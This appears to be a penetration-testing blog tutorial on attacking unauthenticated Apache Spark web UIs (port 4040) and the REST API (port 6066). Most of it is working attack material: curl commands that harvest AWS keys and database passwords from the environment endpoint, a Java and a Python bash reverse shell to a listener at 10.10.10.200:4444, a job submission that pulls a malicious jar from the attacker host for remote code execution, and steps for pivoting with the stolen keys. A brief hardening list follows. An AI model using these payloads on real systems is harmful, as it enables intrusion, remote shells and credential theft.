networking

Spark UI Port 4040: Pentest, Credentials, and Cluster Map

Spark UI Port 4040: Pentest, Credentials, and Cluster Map

Bring 4040 Spark UI to pentest: environment leak, worker discovery, exposed credentials, and pivot to 6066 REST API and big data cluster.

  • Posted on 2026-04-14
  • Reading time: 3 min

Apache Spark is the most widely used distributed data processing framework for big data and machine learning. Port 4040 hosts the Spark Web UI , a diagnostic interface that displays running jobs, configuration, environment variables, and cluster metrics. It does not require authentication by default. In penetration testing, the exposed Spark UI is a highly valuable finding: not only does it reveal the entire cluster configuration with internal hostnames and clear text credentials in environment variables, but versions with the REST API enabled on port 6066 allow you to submit arbitrary jobs—Remote Code Execution as a Spark user on the big data infrastructure.

The Spark UI on 4040 is the interface for the driver (the process coordinating the job). Each Spark application has its own UI on an incremental port (4040, 4041, 4042, etc.). The Spark Master has a separate UI on port 8080. The Spark History Server is on 18080. All without authentication by default.

Spark Doors Architecture #

text
┌────────────────────────────────────────────────┐
│                 Spark Cluster                   │
│                                                 │
│  Master (:8080 UI, :7077 cluster, :6066 REST)  │
│     ├── Worker 1 (:8081 UI)                    │
│     ├── Worker 2 (:8081 UI)                    │
│     └── Worker 3 (:8081 UI)                    │
│                                                 │
│  Driver Application (:4040 UI) ← QUESTA PORTA  │
│                                                 │
│  History Server (:18080 UI)                     │
└────────────────────────────────────────────────┘
PortServiceDefault authentication
4040Application UI (driver)None
7077Master cluster protocolNone
6066Master REST APINone
8080Master Web UINone
8081Worker Web UINone
18080History ServerNone

1. Enumeration #

Nmap #

bash
nmap -sV -p 4040,6066,7077,8080,8081,18080 10.10.10.40
text
PORT      STATE SERVICE       VERSION
4040/tcp  open  http          Jetty (Spark UI)
6066/tcp  open  http          Spark REST API
7077/tcp  open  spark-master
8080/tcp  open  http          Spark Master UI

Spark Application UI (port 4040) #

bash
curl -s http://10.10.10.40:4040/

The dashboard shows: active and completed jobs, stages, storage, environment and executors.

Environment — The Treasury #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/ | python3 -m json.tool
json
[{
    "id": "app-20260115100000-0001",
    "name": "ProductionETL",
    "attempts": [{
        "startTime": "2026-01-15T10:00:00.000GMT",
        "sparkUser": "spark"
    }]
}]
bash
# Environment completo — QUI CI SONO LE CREDENZIALI
curl -s http://10.10.10.40:4040/api/v1/applications/app-20260115100000-0001/environment | python3 -m json.tool
json
{
    "sparkProperties": [
        ["spark.master", "spark://master-01.corp.internal:7077"],
        ["spark.app.name", "ProductionETL"],
        ["spark.hadoop.fs.s3a.access.key", "AKIAIOSFODNN7EXAMPLE"],
        ["spark.hadoop.fs.s3a.secret.key", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"],
        ["spark.jdbc.url", "jdbc:mysql://db-prod.corp.internal:3306/analytics"],
        ["spark.jdbc.user", "etl_user"],
        ["spark.jdbc.password", "ETL_Pr0d_2025!"]
    ],
    "systemProperties": [
        ["user.name", "spark"],
        ["os.name", "Linux"],
        ["os.version", "5.15.0-91-generic"],
        ["java.version", "11.0.15"]
    ],
    "environmentVariables": [
        ["AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE"],
        ["AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/..."],
        ["HADOOP_HOME", "/opt/hadoop"]
    ]
}

Pure gold in a single HTTP request:

  • spark.master: master hostname → master-01.corp.internal:7077
  • AWS keys: access key and secret key for S3 → AWS privilege escalation
  • JDBC credentials: user and password for MySQL of production
  • Internal hostnames: infrastructure map
  • Java and kernel version: to search kernel exploit and Java CVE

Executors — Worker Map #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/app-.../allexecutors | python3 -m json.tool
json
[
    {"id": "0", "hostPort": "worker-01.corp.internal:45678", "totalCores": 8},
    {"id": "1", "hostPort": "worker-02.corp.internal:45679", "totalCores": 8},
    {"id": "2", "hostPort": "worker-03.corp.internal:45680", "totalCores": 8}
]

Three workers with hostnames — new targets.

Master UI (port 8080) #

bash
curl -s http://10.10.10.40:8080/

Shows all workers, applications, and cluster resources. No authentication → full view.

2. RCE via REST API (port 6066) #

If port 6066 is exposed, you can submit arbitrary jobs.

REST API Verification #

bash
curl -s http://10.10.10.40:6066/v1/submissions/status/driver-0

If it responds → REST API is active.

Reverse shell via Spark job (Java) #

Java
// Evil.java
import java.io.*;
public class Evil {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec(new String[]{
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"
        });
    }
}
bash
javac Evil.java && jar cfe evil.jar Evil Evil.class
bash
curl -X POST http://10.10.10.40:6066/v1/submissions/create \
  --header "Content-Type:application/json" \
  -d '{
    "appResource": "http://10.10.10.200/evil.jar",
    "sparkProperties": {
        "spark.master": "spark://10.10.10.40:7077",
        "spark.app.name": "LegitETL",
        "spark.submit.deployMode": "cluster"
    },
    "mainClass": "Evil",
    "action": "CreateSubmissionRequest"
  }'

Job run on a worker → reverse shell as user spark.

RCE via PySpark #

bash
# evil.py su un server raggiungibile
import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'")

Submit as PythonRunner via REST API.

3. Pivoting in Big Data Infrastructure #

From Spark to Hadoop/HDFS #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/APP_ID/environment | grep hadoop
text
spark.hadoop.fs.defaultFS = hdfs://namenode-01.corp.internal:8020

NameNode → WebUI HDFS (port 9870) → distributed filesystem.

From Spark to Database #

JDBC credentials found → MySQL , Oracle.

From Spark to AWS/S3 #

bash
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
aws s3 ls
aws sts get-caller-identity

From Spark to Kafka/Zookeeper #

text
spark.kafka.bootstrap.servers = kafka-01.corp.internal:9092

Kafka and Zookeeper brokers are now targets for enumeration.

4. Detection & Hardening #

  • ACL on the Web UI spark.ui.filters for authentication
  • Disable REST API if not necessary: spark.master.rest.enabled=false
  • Firewall — ports 4040, 6066, 7077, 8080, 8081 ONLY on the cluster's internal network
  • Don't put credentials in spark properties — use secret manager (Vault, AWS Secrets Manager)
  • Kerberos for Spark in Hadoop environments
  • Network segmentation — isolated big data cluster
  • Audit log — monitors jobs submitted via REST API

5. Final Cheat Sheet #

ActionCommand
Nmapnmap -sV -p 4040,6066,7077,8080 target
Application listcurl -s http://target:4040/api/v1/applications/
Environment (creds!)curl -s http://target:4040/api/v1/applications/APP_ID/environment
Executors (workers)curl -s http://target:4040/api/v1/applications/APP_ID/allexecutors
Master UIcurl -s http://target:8080/
REST API statuscurl -s http://target:6066/v1/submissions/status/driver-0
Submit job (RCE)curl -X POST http://target:6066/v1/submissions/create -d '{...}'
SQL queriescurl -s http://target:4040/api/v1/applications/APP_ID/sql/
History servercurl -s http://target:18080/api/v1/applications/

Reference: Apache Spark Security documentation, Spark HackTricks, big data security best practices. Use only in authorized environments. https://spark.apache.org/docs/latest/configuration.html

hackita.it/supporto — hackita.it/servizi.

#Spark Web UI #Spark REST API #BigDataSecurity

leave a message

I'm not a robot